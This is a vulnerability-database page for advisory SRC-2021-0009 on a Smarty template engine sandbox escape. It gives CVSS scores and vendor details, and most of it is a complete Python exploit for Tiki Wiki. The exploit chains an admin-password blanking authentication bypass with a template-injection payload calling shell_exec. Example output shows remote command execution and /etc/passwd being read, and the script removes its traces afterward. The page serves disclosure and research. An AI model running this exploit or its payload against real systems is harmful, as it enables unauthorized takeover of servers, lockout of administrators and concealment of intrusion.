Lucene search

K
srcinciteSteven Seeley (mr_me) of Qihoo 360 Vulcan TeamSRC-2021-0009
HistoryJan 24, 2021 - 12:00 a.m.

SRC-2021-0009 : Smarty Template Engine template_object Sandbox Escape Remote Code Execution Vulnerability

2021-01-2400:00:00
Steven Seeley (mr_me) of Qihoo 360 Vulcan Team
srcincite.io
28

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:N/I:P/A:N

0.002 Low

EPSS

Percentile

52.5%

Vulnerability Details:

This vulnerability allows remote attackers execute arbitrary code on affected installations of Smarty Template Engine. Authentication is context dependant and may not be required to exploit this vulnerability.

The specific flaw exists within the Smarty_Internal_Compile_Private_Special_Variable class. The issue results from the lack of proper restriction to the template_object property, which can result in dangerous method calls. An attacker can leverage this vulnerability to escape the sandbox and execute arbitrary php code.

Affected Vendors:

Smarty

Affected Products:

Smarty Template Engine

Vendor Response:

Smarty has issued an update to correct this vulnerability. More details can be found at: <https://github.com/smarty-php/smarty/security/advisories/GHSA-w5hr-jm4j-9jvq&gt;

#!/usr/bin/env python3
"""
Tiki Wiki CMS GroupWare Serverside Template Injection Remote Code Execution Vulnerability
This is a demonstration of CVE-2021-26119 (Smarty Template Engine template_object Sandbox Escape PHP Code Injection)
Written by: Steven Seeley of Qihoo 360 Vulcan Team
Exploit tested against: Tiki Wiki 20.3 (Tarazed)

Bug 1: CVE-2020-15906
    - An unauthenticated user can bypass the authentication by bruteforcing the admin account > 50 times and login with a blank password
    - Works on: <= 21.1 (UY_Scuti)
    
Bug 2: CVE-2021-26119 
    - An admin user can trigger a serverside template injection and gain remote code execution by escaping the sandbox of the Smarty Template Engine by leveraging the 'template_object' property
    - Works on: <= 22.2 (Corona_Borealis) and impacts Smarty <= 3.1.38 (latest)

# Notes

- *WARNING* This exploit will lock out the administrator account
- It was possible in older versions of Tiki Wiki (including 20.3) that you could:

  1. Edit Smarty templates with a user that had the 'tiki_p_edit_templates' privilege, but Tiki clued into this and has since disabled this 'feature' by default, see using [Risky preferences](https://doc.tiki.org/Risky-Preferences)
  2. Disable the Smarty sandbox entirely by unchecking the "Smarty Security" checkbox in the general security tab which is no longer possible.

  However it's still possible for an admin (or user with the 'tiki_p_admin' permission assigned) to add Smarty template syntax to the 'feature_custom_html_head_content' option under [Customization](http://doc.tiki.org/Customization) in the [Look and Feel](http://doc.tiki.org/Look-and-Feel) control panel menu. This is enough for attackers to escape the Smarty sandbox leveraging either CVE-2021-26119 or CVE-2021-26120 and execute arbitrary remote code.

# Example

researcher@incite:~/tiki$ ./poc.py
(+) usage: ./poc.py(+) eg: ./poc.py 192.168.75.141 / id
(+) eg: ./poc.py 192.168.75.141 /tiki-20.3/ id

researcher@incite:~/tiki$ ./poc.py 192.168.75.141 /tiki-20.3/ "id;uname -a;pwd;head /etc/passwd"
(+) blanking password...
(+) admin password blanked!
(+) getting a session...
(+) auth bypass successful!
(+) triggering rce...

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux target 5.8.0-40-generic #45-Ubuntu SMP Fri Jan 15 11:05:36 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
/var/www/html/tiki-20.3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

# References

- Maximilian Barz's poc at https://github.com/S1lkys/CVE-2020-15906
"""

import requests
import sys
import re

def auth_bypass(s, t, d):
    h = { "referer" : t }
    d["ticket"] = get_ticket(s, "%stiki-login.php" % t)
    d["pass"] = "" # auth bypass is here
    r = s.post("%stiki-login.php" % t, data=d, headers=h)
    r = s.get("%stiki-admin.php" % t)
    assert ("You do not have the permission that is needed" not in r.text), "(-) authentication bypass failed!"

def black_password(s, t, d):
    uri = "%stiki-login.php" % t
    # setup cookies here
    s.get(uri)
    ticket = get_ticket(s, uri)
    # crafted especially so unsuccessful_logins isn't recorded
    for i in range(0, 51):
        r = s.post(uri, d)
        if("Account requires administrator approval." in r.text):
            print("(+) admin password blanked!")
            return
    raise Exception("(-) auth bypass failed!") 

def get_ticket(s, uri):
    h = { "referer" : uri }
    r = s.get(uri)
    match = re.search('class="ticket" name="ticket" value="(.*)" \/>', r.text)
    assert match, "(-) csrf ticket leak failed!"
    return match.group(1)

def trigger_or_patch_ssti(s, t, c=None):
    # CVE-2021-26119
    p = { "page": "look" }
    h = { "referer" : t }
    bypass = "startrce{$smarty.template_object->smarty->disableSecurity()->display('string:{shell_exec(\"%s\")}')}endrce" % c
    d = {
        "ticket" : get_ticket(s, "%stiki-admin.php" % t),
        "feature_custom_html_head_content" : bypass if c else '',
        "lm_preference[]": "feature_custom_html_head_content"
    }
    r = s.post("%stiki-admin.php" % t, params=p, data=d, headers=h)
    r = s.get("%stiki-index.php" % t)
    if c != None:
        assert ("startrce" in r.text and "endrce" in r.text), "(-) rce failed!"
        cmdr = r.text.split("startrce")[1].split("endrce")[0]
        print(cmdr.strip())

def main():
    if(len(sys.argv) < 4):
        print("(+) usage: %s" % sys.argv[0])
        print("(+) eg: %s 192.168.75.141 / id"% sys.argv[0])
        print("(+) eg: %s 192.168.75.141 /tiki-20.3/ id" % sys.argv[0])
        return
    p = sys.argv[2]
    c = sys.argv[3]
    p = p + "/" if not p.endswith("/") else p
    p = "/" + p if not p.startswith("/") else p
    t = "http://%s%s" % (sys.argv[1], p)
    s = requests.Session()
    print("(+) blanking password...")
    d = {
        'user':'admin', 
        'pass':'trololololol',
    }
    black_password(s, t, d)
    print("(+) getting a session...")
    auth_bypass(s, t, d)
    print("(+) auth bypass successful!")
    print("(+) triggering rce...\n")
    # trigger for rce
    trigger_or_patch_ssti(s, t, c)
    # patch so we stay hidden
    trigger_or_patch_ssti(s, t)

if __name__ == '__main__':
    main()

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:N/I:P/A:N

0.002 Low

EPSS

Percentile

52.5%